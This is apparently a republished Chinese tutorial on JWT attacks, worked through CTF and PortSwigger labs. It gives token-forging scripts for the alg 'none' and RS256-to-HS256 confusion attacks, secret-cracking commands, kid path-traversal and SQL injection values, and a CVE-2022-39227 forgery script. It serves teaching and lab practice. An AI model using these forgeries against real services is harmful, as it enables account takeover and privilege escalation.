浅析JWT Attack - 成就云开发者社区

声明

文章首发于合天安全实验室https://mp.weixin.qq.com/s/WvVgavjJMXSZQsVFtHEOhA

前言

在2022祥云杯时遇到有关JWT的题，当时没有思路，对JWT进行学习后来对此进行简单总结，希望能对正在学习JWT的师傅们有所帮助。

JWT

JWT，即JSON WEB TOKEN，它是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范，是一种标准化的格式，用于在系统之间发送经过加密签名的JSON数据，·理论上可以包含任何类型的数据，但最常用于发送关于用户的信息（“声明”），以进行身份认证、会话处理和访问控制。

简单了解了它的定义后，我们接下来来看一下JWT的组成部分它分为三个部分，如下所示

代码语言：javascript

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1、Headers:头部
2、Payload:有效载荷
3、Signature:签名

这三个部分以.符号来连接，所以JWT的格式通常是xxx.yyy.zzz这种样子

Headers

Headers通常由两部分组成，令牌的类型和签名算法，常见的算法有很多种，例如 HMAC SHA256 或 RSA。但它也还有一个kid参数，这是一个可选参数，全称是key ID，它用于指定加密算法的密钥。

示例如下

代码语言：javascript

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ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9

这就是一个Headers，当我们对它进行Base64解码就可以看到它的具体内容，具体如下

代码语言：javascript

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{
  "alg": "HS256",
  "typ": "JWT"
}

alg指的就是算法，这里的算法就是HS256，typ指的是令牌类型。这里需要说明一点，就是明文在加密时其实采用的是Base64URL加密，这种加密方式并非Base64encode+URLencode，而是对一些特殊字符进行了替换，具体说明如下

JWT 作为一个令牌(token)，有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64有三个字符+、/和=，在 URL 里面有特殊含义，所以要被替换掉：=被省略、+替换成-，/替换成_ 。这就是 Base64URL 算法。

Payload

有效载荷就是存放有效信息的地方，其中包含声明。声明包含三个部分 1、已注册声明 这个部分的话就是已经预先定义过的声明，常见的声明主要有以下几种

代码语言：javascript

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iss: jwt签发者
sub: jwt所面向的用户
aud: 接收jwt的一方
exp: jwt的过期时间，这个过期时间必须要大于签发时间
nbf: 定义在什么时间之前，该jwt都是不可用的.
iat: jwt的签发时间
jti: jwt的唯一身份标识，主要用来作为一次性token,从而回避重放攻击。

2、公共的声明 这些可以由使用 JWT 的人随意定义，一般用于添加用户的相关信息或其他业务需要的必要信息。但不建议添加敏感信息，因为该部分在客户端可进行解码. 3、私有的声明 这些是为在同意使用它们的各方之间共享信息而创建的自定义声明，私有声明是提供者和消费者所共同定义的声明，一般不建议存放敏感信息。

示例如下

代码语言：javascript

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ewoJInN1YiI6ICJhZG1pbiIsCiAgICAidXNlcl9yb2xlIiA6ICJhZG1pbiIsCiAgICAiaXNzIjogImFkbWluIiwKICAgICJpYXQiOiAxNTczNDQwNTgyLAogICAgImV4cCI6IDE1NzM5NDAyNjcsIAogICAgIm5iZiI6IDE1NzM0NDA1ODIsIAogICAgImp0aSI6ICJkZmY0MjE0MTIxZTgzMDU3NjU1ZTEwYmQ5NzUxZDY1NyIgICAKfQ

进行base64URL解码，结果如下

代码语言：javascript

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{
	"sub": "admin",				//jwt所面向的用户
    "user_role" : "admin",    	//当前登录用户
    "iss": "admin",          	//该JWT的签发者,有些是URL
    "iat": 1573440582,        //签发时间
    "exp": 1573940267,        //过期时间
    "nbf": 1573440582,        //该时间之前不接收处理该Token
    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识
}

Signature

由于头部和有效载荷以明文形式存储，因此，需要使用签名来防止数据被篡改。所以这部分是一个签证信息，这个签证信息由三部分组成

代码语言：javascript

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1、header (base64URL编码)
2、payload (base64URL编码)
3、secret（密钥）

它的计算方式如下

代码语言：javascript

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Signature=HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
//假设这里是HS256算法，如果是其他算法的话开头设置为其他算法即可

现在了解了JWT的大致作用和其组成，接下来来学习一下JWT攻击。

JWT 攻击

JWT攻击有多种情况，现在来对其进行逐一讲解。

敏感信息泄露

JWT保证的是数据传输过程中的完整性而不是机密性。

因为JWT的payload部分是使用Base64url编码的，所以它其实是相当于明文传输的，当payload中携带了敏感信息时，我们对payload部分进行Base64url解码，就可以读取到payload中携带的敏感信息。

靶场演示

题目链接https://www.ctfhub.com/#/skilltree 题目描述如下

JWT 的头部和有效载荷这两部分的数据是以明文形式传输的，如果其中包含了敏感信息的话，就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}

进入环境后发现一个登录框

随便输入账号密码，登录后发现界面如下

查看此时的JWT

想到题目中说头部和载荷可能会有敏感泄露，将值取出分别进行Base64URL解码

两处拼接一下，得到ctfhub{bb89d985db8cea6a2f2d34cb}

算法修改攻击

首先来简述一下JWT中两个常用的加密算法

HMAC(HS256):是一种对称加密算法，使用秘密密钥对每条消息进行签名和验证 RSA(RS256)：是一种非对称加密算法，使用私钥加密明文，公钥解密密文。

从上面不难看出，HS256自始至终只有一个密钥，而RS256是有两个密钥的。在通常情况下，HS256的密钥我们是不能取到的，RS256的密钥也是很难获得的，RS256的的公钥相对较容易获取，但无论是HS256加密还是RS256加密，都是无法实现伪造JWT的，但当我们修改RSA256算法为HS256算法时，后端代码会使用公钥作为密钥，然后用HS256算法验证签名，如果我们此时有公钥，那么此时我们就可与实现JWT的伪造。

靶场演示

题目链接https://www.ctfhub.com/#/skilltree

题目描述

有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时，有时攻击者可以获取到公钥，此时可通过修改JWT头部的签名算法，将非对称密码算法改为对称密码算法，从而达到攻击者目的。

进入环境后发现题目代码

代码语言：javascript

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class JWTHelper {
  public static function encode($payload=array(), $key='', $alg='HS256') {
    return JWT::encode($payload, $key, $alg);
  }
  public static function decode($token, $key, $alg='HS256') {
    try{
            $header = JWTHelper::getHeader($token);
            $algs = array_merge(array($header->alg, $alg));
      return JWT::decode($token, $key, $algs);
    } catch(Exception $e){
      return false;
    }
    }
    public static function getHeader($jwt) {
        $tks = explode('.', $jwt);
        list($headb64, $bodyb64, $cryptob64) = $tks;
        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
        return $header;
    }
}
$FLAG = getenv("FLAG");

$PRIVATE_KEY = file_get_contents("/privatekey.pem");

$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

if (!empty(_POST[&#39;username&#39;]) &amp;&amp; !empty(_POST['password'])) {

$token = "";

if(_POST[&#39;username&#39;] === &#39;admin&#39; &amp;&amp; _POST['password'] === $FLAG){

$jwt_payload = array(

'username' => $_POST['username'],

'role'=> 'admin',

);

token = JWTHelper::encode(jwt_payload, $PRIVATE_KEY, 'RS256');

} else {

$jwt_payload = array(

'username' => $_POST['username'],

'role'=> 'guest',

);

token = JWTHelper::encode(jwt_payload, $PRIVATE_KEY, 'RS256');

}

@setcookie("token", $token, time()+1800);

header("Location: /index.php");

exit();

} else {

@setcookie("token", "");

header("Location: /index.php");

exit();

}

} else {

if(!empty(_COOKIE[&#39;token&#39;]) &amp;&amp; JWTHelper::decode(_COOKIE['token'], $PUBLIC_KEY) != false) {

obj = JWTHelper::decode(_COOKIE['token'], $PUBLIC_KEY);

if ($obj->role === 'admin') {

echo $FLAG;

}

} else {

show_source(__FILE__);

}

}

?>

简单的看一下，大致意思就是当以用户名为admin，密码不是$flag时，此时登录后JWT中payload的role是guest，而只有当role为admin时才能够得到Flag，所以我们这里肯定是需要伪造JWT的，我们先以admin为用户名，随便输入密码登录一下
此时得到JWT，将其拿去解密网站https://jwt.io解密一下

发现加密方式是RS256非对称加密，想到在登录时，下方给出了公钥

所以这里就可以尝试更改算法为HS256，以公钥作为密钥来进行签名和验证，因此我们构造一个伪造JWT的脚本，内容如下

代码语言：javascript

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import jwt
import base64
public ="""-----BEGIN PUBLIC KEY-----

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqizf1rnxqfeyCAp52TQO

3uEyeB1HzqqbO8FBHWqLlhgmyPFqaopXVhZryzP+Sd6a3iQd8xeD7URswPHE4roA

kbI1GMta9zAdD1yPtp//JNZ55hx1iFY2n9gw2u8VL64n9sCc56H46L3W52Z37kvW

q5LuoLAuyJpP7Ofadt7biWaeXibZGQjPwlbCy31DyxdDFCt8pVrajVI97w3amHBU

Xhd0Ku+DOq9hjadtQbTkbIkAUR84yqt+25EXd/rg1w8we9ysNcTjAeUayRGPuQmX

UWJaFpsvuL7WeUb2xJqvieFwsCQppS1ZgaoRc0F835K+G3s3qWRi4AnvZxryfTzl

awIDAQAB

-----END PUBLIC KEY-----

"""

payload={ "username": "admin","role": "admin"}

print(jwt.encode(payload, key=public, algorithm='HS256'))

此时运行完后发现报错

这个是因为源代码中进行了校验，我们简单设置一下即可,源代码文件地址如下

代码语言：javascript

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/usr/lib/python3/dist-packages/jwt/algorithms.py

我们在它的校验前面增加这样一句话

代码语言：javascript

复制

invalid_strings=[]

此时保存退出，再运行文件即可得到新JWT

将新的JWT拿到网站中替换旧的JWT，刷新网站即可得到flag

未验证签名

当用户端提交请求给应用程序，服务端可能没有对token签名进行校验，这样，攻击者便可以通过提供无效签名简单地绕过安全机制，此时就造成了越权漏洞的出现。假设现有payload如下

代码语言：javascript

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{ 
  "iat": 1668871293,
  "exp": 1668878493,
  "nbf": 1668871293,
  "sub": "quan9i",
}

这里的quan9i是普通用户，按理说的话它是无法访问到管理员的界面的，但由于这里的签名是没有验证的，当我们修改payload时，这个JWT仍然有效，所以我们修改payload如下

代码语言：javascript

复制

{ 
  "iat": 1668871293,
  "exp": 1668878493,
  "nbf": 1668871293,
  "sub": "admin",
}

此时就垂直越权，变成了管理员用户，可以访问管理员的界面。

靶场演示

题目环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature 题目描述

本实验使用基于 JWT 的机制来处理会话。由于实施缺陷，服务器不会验证它收到的任何 JWT 的签名。

题目要求

要解决实验室问题，请修改您的会话令牌以获取对管理面板的访问权限/admin，然后删除用户carlos。

题目条件

您可以使用以下凭据登录到您自己的帐户：wiener:peter

打开环境后发现Cookie中没什么东西，但想到题目给出了账号，那就先找登录点，发现有个My account

点击查看，发现是登录界面，将刚刚题目条件中所给的用户名和密码放入

此时查看cookie

具体内容为

代码语言：javascript

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eyJraWQiOiIxYmE5NjA0Ny0wNjBiLTQ0MTAtODg1NC01YWYxYTQ2ZTljYWEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTI5NzgxMH0.JMb3Ttl7WLoVrTfcEq03VIafh7zDMu5_nhMtPc3qnhgENSl1WbMAMFfeTa-v0jS69A13W-J3_ccslHu25OW_SRPAq2GuAUoFfEGtthnP-PaDWFN2_UIIcaeAx8rj8bNy65apX37EnTx-sPo274XjW9hQgTRLT1ifHtfihvTzoOY94_2bLaR4JwSUoyoi_kXZW4IndvhqpHA2kn8jw2aQOJCCCjeHh2r_CDDQA1hrSKeP2FgIq07wagLZqzkG6ATexINTNI_4jwpO8Jy1U-l0voPQQ6g111GCkBDhhkCagnm4zh-_Kl2nDD-Xjp74VVZDCNojbLoeS2Y6RGPZ4GR28w

对第一个.后和第二个.之前的内容进行解码（此部分内容为有效载荷）得到

代码语言：javascript

复制

{"iss":"portswigger","sub":"wiener","exp":1669297810}

题目提示了这里不校验签名，所以我们修改payload如下

代码语言：javascript

复制

{"iss":"portswigger","sub":"administrator","exp":1669297810}

再对其进行Base64URL编码，替换掉原来的payload，此时就得到了新的JWT，将新的JWT放入session中，重新访问此界面，发现多了一个功能点

发现可以删除用户

任务完成。

空加密算法

这里需要先介绍一些利用的知识点

将signature置空。利用node的jsonwentoken库已知缺陷：当jwt的signature为null或undefined时，jsonwebtoken会采用algorithm为none进行验证

JWT支持使用空加密算法，可以在header中指定alg为none，此时只要把signature设置为空，提交到服务器，任何token都可以通过服务器的验证。

假设现有JWT(解码后的，无signature的)如下

代码语言：javascript

复制

{
    "alg" : "Hs256",
    "typ" : "jwt"
}
{

"user" : "quan9i"

}

这里我们指定alg为None，修改Payload中的user为admin，如下所示

代码语言：javascript

复制

{

"alg" : "None",

"typ" : "jwt"

}
{

"user" : "admin"

}

此时再进行Base64URL编码，就可以实现越权，得到管理员才可以访问的界面。

靶场演示

靶场环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification
题目描述

本实验使用基于 JWT 的机制来处理会话。服务器未安全地配置为接受未签名的 JWT。

题目要求

要解决实验室问题，请修改您的会话令牌以获取对管理面板的访问权限/admin，然后删除用户carlos。

题目条件

您可以使用以下凭据登录到您自己的帐户：wiener:peter

进入环境后先去登录

得到JWT，题目提示了接受未签名的JWT，所以将第二个点后的内容直接删除，而后再对前面内容进行Base64解码

代码语言：javascript

复制

{"kid":"16adc077-c753-4bbe-a9df-46688c01ac46","alg":"RS256"}.{"iss":"portswigger","sub":"wiener","exp":1669304815}.

修改headers中的alg为none，修改payload中的sub为administrator，然后分别进行Base64URL编码，即可得到新的JWT，在网站中对JWT进行替换，接下来再次访问此网站，发现新功能点。

点进去发现有删除用户的功能

任务完成。

爆破密钥

这个的话其实就是使用工具来对密钥进行爆破，从而实现越权。这个的话在参考过其他师傅的文章后发现是有一些条件的，具体如下所示

代码语言：javascript

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1、JWT使用的加密算法是HS256加密算法
2、一段有效的、已签名的token
3、签名用的密钥不复杂（弱密钥）

然后这里还需要介绍一下爆破密钥用的工具，链接如下 https://github.com/brendan-rius/c-jwt-cracker 安装方式如下所示

代码语言：javascript

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1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载
2、make #编译

使用方式如下

代码语言：javascript

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./jwtcrack JWT

这是一个，还有一个爆破工具，可以引用字典，链接如下 https://github.com/Sjord/jwtcrack 安装方式如下所示

代码语言：javascript

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1、git clone https://github.com/Sjord/jwtcrack 
2、pip install PyJWT tqdm

它的使用方式如下

代码语言：javascript

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python3 crackjwt.py JWT dictionary.txt //字典文件是自己写入的

靶场演示

题目描述

本实验使用基于 JWT 的机制来处理会话。它使用极弱的密钥来签署和验证令牌。这可以很容易地使用一个包含常见secret的单词表来暴力破解。

题目要求

要解决实验室问题，请首先暴力破解网站的密钥。获得此后，使用它签署修改后的会话令牌，使您可以访问管理面板/admin，然后删除用户carlos

题目条件

您可以使用以下凭据登录到您自己的帐户：wiener:peter

进入环境后，依旧是先登录获取当前JWT

因为题目已经提示了这里用的是暴力破解，所以我们用刚刚提到的工具，来爆破一下密钥

代码语言：javascript

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./jwtcrack eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE

这里爆破多次均未得到密钥，所以我们选择换另一个工具，自己找个字典来进行爆破字典链接https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list 接下来使用工具指定字典来进行爆破

代码语言：javascript

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python3 crackjwt.py  eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE dictionary.txt

得到密钥为secret1 进入解码网站https://jwt.io,对jwt进行解码

修改payload中的sub为administrator，再在下方写入密钥secret1，生成新JWT

拿到网站中替换原JWT，发现新功能点

访问后发现可以删除用户

任务完成。

Kid参数注入

前文在简述Headers提到，它还有一个可选参数kid，当Headers中存在这个参数时，我们可以通过修改这个参数实现目录遍历、SQL注入等攻击

代码语言：javascript

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#目录遍历
{
    "kid" : "/etc/passwd"
}

Kid参数的逻辑是类似于sql="select * from table where kid=$kid"这种，所以它是存在SQL注入漏洞的，示例如下

代码语言：javascript

复制

#sql注入
{
    "kid" : "0 union select 123"
}

此时它的Kid就被我们恶意篡改为123，此时就相当于拿到了Key，可以伪造JWT，实现越权。

靶场演示

靶场地址https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal 题目描述

本实验使用基于 JWT 的机制来处理会话。为了验证签名，服务器使用JWTkid标头中的参数从其文件系统中获取相关密钥

题目要求

要解决实验室问题，请伪造一个 JWT，使您可以访问管理面板/admin，然后删除用户carlos。

题目条件

您可以使用以下凭据登录到您自己的帐户：wiener:peter

进入环境后，登录获取JWT 安装插件

安装后选择New Symmetric Key，生成一个Key

接下来修改K参数为AA==，点击确认抓靶场的包

点击下面的sign

将此时的JWT去替换网站的JWT，再刷新网站

成功越权

简单说一下这里的原理：这里其实就是利用了kid的目录遍历攻击，我们将kid参数指向标准文件/dev/null，此时我们再利用bp的工具设置一个空的签名密钥，就实现了越权，成功得到管理员权限。

同时，这个Kid是Headers的一部分，Headers其实还有两个不常用的参数，即Jwk和Jku，这两个的话也是存在漏洞的，他们的攻击方式同Kid是较为相似的，所以这里不再去演示如何攻击。靶场环境如下，有兴趣的师傅可以看看。 https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection

JWT攻击实例

CVE-2022-39227

这个的话并没有给出具体的POC，但是官方在commit中最下方给出了测试代码 https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9 具体代码如下所示

代码语言：javascript

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""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch

class ForgedClaims(Vows.Context):

""" Check we get an error when payload is forged using mix of compact and JSON formats """

def topic(self):

""" Generate token """

payload = {'sub': 'alice'}

return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
    &#34;&#34;&#34; Make a forged token &#34;&#34;&#34;
    def topic(self, topic):
        &#34;&#34;&#34; Use mix of JSON and compact format to insert forged claims including long expiration &#34;&#34;&#34;
        [header, payload, signature] = topic.split(&#39;.&#39;)
        parsed_payload = loads(base64url_decode(payload))
        parsed_payload[&#39;sub&#39;] = &#39;bob&#39;
        parsed_payload[&#39;exp&#39;] = 2000000000
        fake_payload = base64url_encode((dumps(parsed_payload, separators=(&#39;,&#39;, &#39;:&#39;))))
        return &#39;{&#34;  &#39; + header + &#39;.&#39; + fake_payload + &#39;.&#34;:&#34;&#34;,&#34;protected&#34;:&#34;&#39; + header + &#39;&#34;, &#34;payload&#34;:&#34;&#39; + payload + &#39;&#34;,&#34;signature&#34;:&#34;&#39; + signature + &#39;&#34;}&#39;

    class Verify(Vows.Context):
        &#34;&#34;&#34; Check the forged token fails to verify &#34;&#34;&#34;
        @Vows.capture_error
        def topic(self, topic):
            &#34;&#34;&#34; Verify the forged token &#34;&#34;&#34;
            return jwt.verify_jwt(topic, generated_keys[&#39;PS256&#39;], [&#39;PS256&#39;])

        def token_should_not_verify(self, r):
            &#34;&#34;&#34; Check the token doesn&#39;t verify due to mixed format being detected &#34;&#34;&#34;
            expect(r).to_be_an_error()
            expect(str(r)).to_equal(&#39;invalid JWT format&#39;)</code></pre></div></div><p>重点在中间部分，也就是这里</p><div class="rno-markdown-code"><div class="rno-markdown-code-toolbar"><div class="rno-markdown-code-toolbar-info"><div class="rno-markdown-code-toolbar-item is-type"><span class="is-m-hidden">代码语言：</span>javascript</div></div><div class="rno-markdown-code-toolbar-opt"><div class="rno-markdown-code-toolbar-copy"><i class="icon-copy"></i><span class="is-m-hidden">复制</span></div></div></div><div class="developer-code-block"><pre class="prism-token token line-numbers language-javascript"><code class="language-javascript" style="margin-left:0">def topic(self, topic):
        &#34;&#34;&#34; Use mix of JSON and compact format to insert forged claims including long expiration &#34;&#34;&#34;
        [header, payload, signature] = topic.split(&#39;.&#39;)
        parsed_payload = loads(base64url_decode(payload))
        parsed_payload[&#39;sub&#39;] = &#39;bob&#39;
        parsed_payload[&#39;exp&#39;] = 2000000000
        fake_payload = base64url_encode((dumps(parsed_payload, separators=(&#39;,&#39;, &#39;:&#39;))))
        return &#39;{&#34;  &#39; + header + &#39;.&#39; + fake_payload + &#39;.&#34;:&#34;&#34;,&#34;protected&#34;:&#34;&#39; + header + &#39;&#34;, &#34;payload&#34;:&#34;&#39; + payload + &#39;&#34;,&#34;signature&#34;:&#34;&#39; + signature + &#39;&#34;}&#39;</code></pre></div></div><p>可以看到这里的话首先是对JWT进行了拆分，我们知道JWT的格式是<code>xxx.yyy.zzz</code>，这个以<code>.</code>来分离，那就是把三部分拆分开来，分别赋值给了<code>header</code>、<code>payload</code>和<code>signature</code>，接下来将进行了<code>base64URL</code>以及<code>json</code>解码的<code>payload</code>赋值给了<code>parsed_payload</code>，而后将新内容<code>sub=bob</code>以及<code>exp=2000000000</code>放入了<code>parsed_payload</code>中，将进行过<code>Base64</code>编码和<code>json</code>编码的<code>parsed_payload</code>赋值给了<code>fake_payload </code>，最终生成的JWT格式如下</p><div class="rno-markdown-code"><div class="rno-markdown-code-toolbar"><div class="rno-markdown-code-toolbar-info"><div class="rno-markdown-code-toolbar-item is-type"><span class="is-m-hidden">代码语言：</span>javascript</div></div><div class="rno-markdown-code-toolbar-opt"><div class="rno-markdown-code-toolbar-copy"><i class="icon-copy"></i><span class="is-m-hidden">复制</span></div></div></div><div class="developer-code-block"><pre class="prism-token token line-numbers language-javascript"><code class="language-javascript" style="margin-left:0">{&#34; header.fake_payload.&#34;:&#34;&#34;,&#34;protected&#34;:&#34;header&#34;, &#34;payload&#34;:&#34;payload&#34;,&#34;signature&#34;:&#34;signature&#34;}</code></pre></div></div><p>此时就完成了JWT的伪造。</p><p>那么这个漏洞是如何产生的呢？接下来我们看一下源文件。

查看python_jwt/init.py文件
在这里插入图片描述

首先看到 header, claims, _ = jwt.split('.')，它按.进行拆分，如何分别将三部分赋值给headers,claims以及_。
接下来就是对头部进行解码，而后检验头部算法，后面也是校验属性的，接下来走到JWS这里
代码语言：javascript
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if pub_key: #验证是否传入密钥
     token = JWS()
     token.allowed_algs = allowed_algs
     token.deserialize(jwt, pub_key) # 传入整个用户的JWT，JWS对JWT进行反序列化处理
     parsed_claims = json_decode(token.payload) # JWS对传入部分进行json解码
跟进反序列化，看它是怎么做的
在这里插入图片描述
这里的话就是首先尝试对传入的JWT进行解析，我们知道这里传入的是完整的原始JWT，而非拆分后的某个部分，JWT的格式是xxx.yyy.zzz这种，而json能解析的是{"a":1,"b":2,"c":3,"d":4,"e":5}这种格式的，所以它无疑会走向except ValueError这里，然后它对值进行拆分，分别赋给protected、payload和signature，然后就将o赋值给了self.objects，这里的话还有一个verify(key,alg)函数，我们跟进一下
在这里插入图片描述

这里可以看到它其实是对JWT的各部分内容进行了一个检验，它这里检验的是原来的完整的JWT，所以这个肯定是没有问题的，这个验证肯定是可以通过的。
我们此时回到__init__.py
在这里插入图片描述
发现这里在校验过后，后面都没有再用到token这个，后面是对header和claims中的一些参数进行校验，然后将parsed_header和parsed_claims值返回了。这里就是问题所在， 在对整个JWT进行校验过后，没有返回校验过的数据，而是返回一开始进行点分过后的数据。
我们的恶意payload如下所示
在这里插入图片描述

此时拆分后他一直在校验的是后面的灰色部分，这部分是原始的JWT，校验肯定是可以通过的，而我们最终返回的数据是前面的forged_payload,所以无论前面怎么添加，怎么替换，校验都是可以通过的。此时你再去看官方给出的测试代码就可以理解它的思路了。
CTF实战
CTFshow系列
Web345
打开靶场，进入环境
在这里插入图片描述

看一下源代码
在这里插入图片描述

提示了admin界面，先记着。
同时刚刚发现cookie含有JWT，放入网站https://jwt.io/中查看一下
在这里插入图片描述

加密方式为空加密，所以这里的话，我们base64解码一下，然后直接修改sub为admin，再进行base64编码，放入cookie中即可，接下来访问admin界面
在这里插入图片描述
web346
这里进入环境后，接下来进入靶场，看一下JWT，用解密网站解密一下
在这里插入图片描述
发现有了加密格式，然后这里存在一种漏洞就是可以把加密方式换成空加密来绕过，但是这个网站是不能直接修改的，我们这里可以借助python脚本实现，脚本如下所示
代码语言：javascript
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import time
import jwt
payload
token_dict={

"iss": "admin",

"iat": 1668871293,

"exp": 1668878493,

"nbf": 1668871293,

"sub": "admin",

"jti": "9892b9d99098ba229891bedcfa856b61"

}
headers
headers = {

"alg": "none",

"typ": "JWT"

}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体

key='',

headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)

algorithm="none",  # 指明签名算法方式, 默认也是HS256

)  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
print(jwt_token)
         注:这里安装jwt模块的时候，安装的模块是PyJWT模块，同时不要给脚本名字命名为jwt.py，否则运行脚本时就会发生报错。
在这里插入图片描述
接下来运行脚本
在这里插入图片描述

得到JWT
代码语言：javascript
复制
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2ODg3MTI5MywiZXhwIjoxNjY4ODc4NDkzLCJuYmYiOjE2Njg4NzEyOTMsInN1YiI6ImFkbWluIiwianRpIjoiOTg5MmI5ZDk5MDk4YmEyMjk4OTFiZWRjZmE4NTZiNjEifQ.
去靶场中替换一下，同时访问admin界面
在这里插入图片描述
Web347
在这里插入图片描述

提示弱口令，这里应该说的是密钥，先记着
进入环境后找到JWT去对应网站解码
在这里插入图片描述

HS256加密方式，我们这里的话需要猜解一下密钥，然后修改才有效，既然提示了弱口令，那就可以试试123456这种，修改sub为admin，得到新JWT后去靶场中修改JWT，然后访问admin界面
在这里插入图片描述
Web348
在这里插入图片描述

题目提示爆破，这里就需要先介绍一个爆破工具了，链接如下
https://github.com/brendan-rius/c-jwt-cracker
安装方式也很简单
代码语言：javascript
复制
1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载
2、make #编译
3、./jwtcrack JWT #使用
这里将靶场中的JWT放入其中
在这里插入图片描述

爆破出密钥为aaab，接下来方法就同上，在解码网站中，修改sub为admin，同时添加密钥为aaab，然后拿着得到的新JWT，去替换网站的JWT，再去访问admin界面即可。
在这里插入图片描述
Web349
题目给了一个附件，内容如下
代码语言：javascript
复制
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
});
router.post('/',function(req,res,next){

var flag="flag_here";

res.type('html');

var auth = req.cookies.auth;

var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key

jwt.verify(auth, cert, function(err, decoded) {

if(decoded.user==='admin'){

res.end(flag);

}else{

res.end('you are not admin');

}

});

});
这里发现可以获取公钥和私钥，RSA是用私钥加密，公钥解密，那么我们这里有私钥了，就可以自己写内容，然后用私钥加密，接下来用公钥解密就是我们伪造的内容，所以接下来访问url /private.key获取私钥，然后写个小脚本即可
代码语言：javascript
复制
import jwt

public = open('private.key', 'r').read()

payload={"user":"admin"}

print(jwt.encode(payload, key=public, algorithm='RS256'))
在这里插入图片描述


接下来替换JWT，然后post访问
在这里插入图片描述
web350
题目给了附件，在里面发现公钥
在这里插入图片描述

这里的话应该考察的就是算法修改攻击，然后我们这里修改算法为HS256,而后用公钥加密，脚本如下
代码语言：javascript
复制
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
运行脚本需要安装jsonwebtoken库
在这里插入图片描述

得到JWT后替换一下，然后post发包即可获取flag
在这里插入图片描述
[祥云杯2022]FunWeb
         注：因为这道题没有复现环境了，所以我这里的部分图片是来源于网上，参考的是X1r0z大师傅的https://exp10it.cn/
在这里插入图片描述

进入环境后是个注册界面，接下来随便注册账号后进行登录
在这里插入图片描述

发现上方是有两个功能点的
在这里插入图片描述

抓获取成绩包后发现这里提示no admin同时发现JWT，想到这里可能需要伪造JWT，JWT最近新出的漏洞是CVE-2022-39227。那么我们就可以尝试用这个漏洞来进行伪造JWT，伪造JWT脚本如下所示
代码语言：javascript
复制
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):

""" Use mix of JSON and compact format to insert forged claims including long expiration """

[header, payload, signature] = topic.split('.')#点分

parsed_payload = loads(base64url_decode(payload))#解码

parsed_payload['is_admin'] = 1#伪造

fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))#编码

return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'#生成恶意载荷

